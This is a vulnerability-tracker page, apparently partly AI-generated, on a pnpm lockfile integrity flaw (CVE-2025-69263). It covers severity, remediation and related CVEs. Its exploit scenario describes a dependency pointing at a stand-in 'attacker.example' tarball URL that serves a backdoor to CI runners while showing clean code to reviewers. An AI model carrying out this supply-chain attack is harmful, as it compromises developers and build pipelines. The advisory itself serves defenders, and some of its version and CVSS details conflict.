pnpm
CVE-2025-69263
HIGH
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessPublish package with HTTP tarball dep
-
DeliveryVictim adds package to project
-
ExploitRun pnpm install
-
ExecutionServer returns malicious tarball variant
-
PersistInstall scripts execute backdoor
-
ImpactPersist in node_modules and CI artifacts
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A08:2025 - Software or Data Integrity Failures
ASVS 5.0
V15 - Secure Coding and Architecture Code integrity verification
|
| Exploitation Conditions | Requires the victim project to have, anywhere in its transitive dependency tree, a package that resolves via an HTTP/HTTPS tarball URL, a github: shorthand specifier, or a git+https URL - npm-registry-only dependency trees cannot be exploited because registry metadata supplies the integrity hash that pnpm records. The attacker must control the tarball server (publish the malicious package and host the mutable tarball endpoint), and the victim must execute 'pnpm install' (UI:R in the CVSS vector); no authentication on the victim system is required and the committed lockfile provides no protection. The vulnerable pnpm version (<10.26.0 per GHSA, or ≤10.26.2 per NVD description) must be in use on the installing machine. |
| Impact | The CVSS 3.1 vector AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H scores 8.8 and reflects network reach with required user interaction (the victim must run an install). EPSS is only 0.01% (1st percentile) and the CVE is not on CISA KEV, indicating no observed widespread exploitation despite publicly available exploit code in the GHSA PoC; this is consistent with a supply-chain weakness that needs a willing malicious publisher and a victim project pulling an HTTP/git tarball. There is a notable signal conflict: the NVD description states 'versions 10.26.2 and below' are vulnerable while the GHSA advisory and patch commit state the fix landed in 10.26.0 - consumers should treat 10.26.0+ as fixed per the upstream advisory but verify against their own version. Real-world risk is moderate-to-high for organizations whose dependency trees include HTTP tarball or github:/git+https references (common in monorepos and internal packages) and low for projects sourcing exclusively from the npm registry. |
| Exploit ScenarioDerived | An attacker publishes a benign-looking npm package (or compromises an existing one) whose package.json declares an HTTP tarball dependency such as 'helper': 'https://attacker.example/helper.tgz'; the attacker's server returns clean code during security review and to common scanner IP ranges, but returns a backdoored tarball to a target organization's CI runner identified by source IP or user-agent. A developer runs 'pnpm install' or CI executes a fresh install, pnpm fetches the URL recorded in the lockfile but performs no integrity check, and the malicious payload executes during the install lifecycle or at runtime. A working PoC is published in the GHSA advisory demonstrating divergent content per install. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv3 – Jun 22, 2026
Supply-chain integrity bypass in pnpm package manager (versions ≤10.26.2, per description; GHSA states <10.26.0) allows malicious package authors to serve different tarball content on each install because HTTP/HTTPS tarball and git-hosted tarball dependencies are recorded in the lockfile without integrity hashes. Publicly available exploit code exists in the GHSA-7vhp-vf5g-r2fw advisory PoC, though EPSS remains low at 0.01% and the issue is not on CISA KEV. Any project transitively depending on a package that uses an HTTP/git tarball is exposed, and a committed lockfile offers no protection.
Earlier versions of this analysis (2)
Lockfile integrity bypass in pnpm versions 10.26.2 and below allows attackers to serve dynamic, changing content for HTTP tarball and git-hosted tarball dependencies because pnpm omits integrity hashes for these resolutions. A malicious package publisher whose package appears anywhere in the dependency tree can deliver different code to different victims, CI runners, or audit sessions, defeating the protection a committed lockfile normally provides. Publicly available exploit code exists (GHSA-7vhp-vf5g-r2fw with PoC), but EPSS is very low (0.01%) and the issue is not in CISA KEV.
pnpm is a package manager. Versions 10.26.2 and below store HTTP tarball dependencies (and git-hosted tarballs) in the lockfile without integrity hashes. [CVSS 7.5 HIGH]
RemediationAI
Upgrade pnpm to version 10.26.0 or later, which is the upstream fix referenced by GHSA-7vhp-vf5g-r2fw and commit https://github.com/pnpm/pnpm/commit/0958027f88a99ccefe7e9676cdebba393dfbdc85; CI/CD images, developer workstations, and Docker base images that pin pnpm must all be updated. Until upgrade is complete, audit dependency trees for HTTP(S) tarball URLs and git/github: specifiers (e.g., grep package.json and pnpm-lock.yaml for 'http', 'github:', and 'git+') and replace them with npm-registry-published versions or git+ssh references pinned to a commit SHA, accepting the side effect that this may require republishing internal packages or vendoring sources. As a network-layer mitigation, restrict outbound install traffic to a trusted internal registry/proxy so installs cannot reach arbitrary tarball hosts, noting the trade-off that legitimate github: dependencies will break. Avoid simply re-running 'pnpm install' against the same lockfile expecting protection - the lockfile itself is the weak link.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
pnpm is a Node.js package manager that, like npm and Yarn, uses a lockfile to pin transitive dependency versions and integrity hashes for reproducible installs (CPE cpe:2.3:a:pnpm:pnpm:*:*:*:*:*:*:node.js:*). The root cause is CWE-494 (Download of Code Without Integrity Check): the tarball resolver in resolving/tarball-resolver/src/index.ts returns only the resolved URL and omits the integrity field for HTTP(S) tarball URLs, git shorthand (github:user/repo), and git+https URLs. Without an integrity hash, pnpm cannot detect that a remote server has returned different bytes for the same URL on a subsequent install, defeating the core reproducibility guarantee of the lockfile. Packages fetched from the npm registry are unaffected because the registry metadata supplies integrity hashes that pnpm does record.
Know when Pnpm gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Network-delivered via package install (AV:N), UI:R for the install action, PR:N as no victim credentials needed, AC:H because attacker must control a package in the victim's tree; full CIA impact via arbitrary code execution.
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Primary rating from NVD.
CVSS VectorNVD
Lifecycle Timeline
6DescriptionNVD
pnpm is a package manager. Versions 10.26.2 and below store HTTP tarball dependencies (and git-hosted tarballs) in the lockfile without integrity hashes. This allows the remote server to serve different content on each install, even when a lockfile is committed. An attacker who publishes a package with an HTTP tarball dependency can serve different code to different users or CI/CD environments. The attack requires the victim to install a package that has an HTTP/git tarball in its dependency tree. The victim's lockfile provides no protection. This issue is fixed in version 10.26.0.
Executive ViewAI
pnpm package manager versions 10.26.2 and earlier contain a supply-chain vulnerability enabling malicious actors to inject different code during package installation, bypassing lockfile integrity checks. Organizations using pnpm face direct risk of arbitrary code execution during routine dependency updates across development, CI/CD, and build pipelines. Widespread dependency transitivity means the exposure extends to most projects within affected organizations.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Affected Products (CPE)NVD
Arbitrary code execution in the pnpm package manager (versions 10.0.0 through 10.25) lets a git-hosted dependency run co
pnpm is a package manager. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable, no authentica
Path traversal in pnpm before 10.34.0 and 11.4.0 lets a malicious registry package smuggle '../' segments inside a trans
Arbitrary code execution in the pnpm package manager (versions prior to 10.34.2 and 11.5.3) lets a malicious repository
Arbitrary command execution in pnpm before 10.34.2 and 11.5.3 allows a malicious repository to run attacker-chosen nativ
PNPM v6.15.1 and below was discovered to contain an untrusted search path which causes the application to behave in unex
Integrity-check bypass in the pnpm package manager (versions before 10.34.0/10.34.1 and 11.0.0-11.3.x) lets tampered pac
Command injection in pnpm versions 6.25.0 through 10.26.2 allows attackers controlling environment variables to execute
Scoped path traversal in pnpm allows arbitrary filesystem overwrites during package installation, defeating the --ignore
Arbitrary file write and deletion in pnpm package manager (versions prior to 10.34.0 and 11.4.0) lets a malicious contri
Arbitrary command execution in pnpm before 10.34.0 and 11.4.0 allows a malicious lockfile to run code on a developer's m
Path traversal in pnpm's `pnpm stage download` command (versions 11.3.0 through 11.5.2) lets a malicious or compromised
GHSA-7vhp-vf5g-r2fw
NVD
CVE.org
EPSS
Exploit-DB